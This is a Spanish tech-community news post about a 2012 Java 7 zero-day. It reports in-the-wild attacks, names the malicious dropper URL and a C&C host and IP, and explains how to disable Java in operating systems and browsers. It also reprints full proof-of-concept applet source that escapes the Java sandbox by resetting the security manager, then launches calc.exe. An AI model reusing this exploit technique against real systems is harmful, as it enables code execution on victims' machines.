Vulnerabilidad "0-day" en Java 7

  • Categoría: Noticias
  • Publicado hace más de 4 años





Se ha descubierto una vulnerabilidad crítica que afecta a la versión 7 de Java (update 1-6) y que permite a un atacante infectar el ordenador atacado.

Nos lo detallan todo en MuySeguridad, donde revelan que la vulnerabilidad ya está siendo utilizada en ataques dirigidos con un exploit 0-day desde China que instala un dropper (Dropper.MsPMs), alterado para ejecutar el virus sin ser detectado por las soluciones de seguridad.

La vulnerabilidad está calificada con el grado máximo ?crítica? y el exploit funciona en todas las versiones de Internet Explorer, Firefox y Opera en Windows 7, Vista y XP. También en Chrome aunque sólo en XP y en Firefox sobre Ubuntu Linux 10.04.

Como sabes, el ataque zero day es uno de los más peligrosos que existen ya que aprovecha vulnerabilidades aún desconocidas en software. Por ello se recomienda deshabilitar Java hasta que exista una actualización para este fallo de seguridad. Las actualizaciones de seguridad de Oracle para Java son trimestrales por lo que de no emitir un parche de emergencia los atacantes tendrán un camino fácil hasta el mes de octubre.




Inicialmente, los investigadores descubrieron que este exploit estaba hospedado en ok.XXX4.net y actualmente este dominio está resolviendo una IP de China. La explotación de esta vulnerabilidad además descarga un ejecutable (Dropper.MsPMs) alojado en el mismo servidor (http://ok.XXX4.net/meeting/hi.exe). El dropper también conecta al C&C hello.icon.pk que actualmente resuelve con la IP 223.25.233.244 localizada en Singapur.

POC:
Se ha desarrollado un módulo de Metasploit que se ha probado con éxito en  Windows 7 SP1 parcheado con Java 7 Update 6, y en los siguientes entornos:

        Mozilla Firefox en Ubuntu Linux 10.04
        Internet Explorer / Mozilla Firefox / Chrome en Windows XP
        Internet Explorer / Mozilla Firefox en Windows Vista
        Internet Explorer / Mozilla Firefox en Windows 7
        Safari en OS X 10.7.4




Para desactivar Java en Windows, ir a Inicio -> Panel de Control -> Java, lo que abrirá una ventana con las preferencias de este componente. En esa ventana vamos a la pestaña ?Java? y pinchamos en ?Ver?, lo que hará que veamos las versiones de Java instaladas. Habrá que desactivar la casilla de Java 1.7 y aceptamos los cambios.

En OS X podemos buscar con Spotlight por ?Java?, lo que debería hacer que aparezca un elemento llamado ?Preferencias de Java? si tenemos instalado este componente. Al ir a ese panel podremos desactivar Java si la versión que tenemos instalada es la 1.7.

En cuanto a los navegadores, estas son las formas de desactivar Java en ellos:

Internet Explorer

    Acceder al menú Herramientas > Opciones de Internet
    Pestaña Programas > Administrar complementos
    Seleccionar la opción de mostrar Todos los complementos > Seleccionar Java Plug-in 1.7
    Pulsar sobre el botón Deshabilitar y cerrar la ventana

Mozilla Firefox

    Acceder al menú Herramientas > Complementos
    Acceder al apartado de Plugins
    Seleccionar todos aquellos elementos que pertenezcan a Java (pueden tener varios nombres)
    Pulsar sobre el botón Desactivar

Google Chrome

    Escribir ?chrome://plugins/? en la barra de direcciones del navegador para acceder al menú de plugins.
    Buscamos el plugin de Java y pulsamos sobre Inhabilitar

Safari

    Accedemos al menú Preferencias > Apartado ?Seguridad?
    Desmarcamos la opción ?Permitir Java?



Además el código fuente ya se encuentra disponible (http://pastie.org/4594319):

//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
//
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void init()
    {
        try
        {
            disableSecurity();
            Process localProcess = null;
            localProcess = Runtime.getRuntime().exec("calc.exe");
            if(localProcess != null);
               localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading", 50, 25);
    }
}




Fuente:
http://www.muycomputer.com
http://www.hackplayers.com

Vulnerabilidad "0-day" en Java 7
10 Puntos Score: 10/10
Visitas: 1155 Favoritos: 3
Ver los usuarios que votaron...
6 Comentarios Vulnerabilidad "0-day" en Java 7
@Berbellon muy cierto bro! pero al parecer a pocos en esta comunidad les importa su seguridad  

gracias por pasar  
Supongo se habra solucionado en el update 7, y yo que lo acabo de instalar.
@alexo gracias bro! espero te sea util la informacion!! saludos!  
Para dejar un comentario Registrate! o.. eres ya usuario? Accede!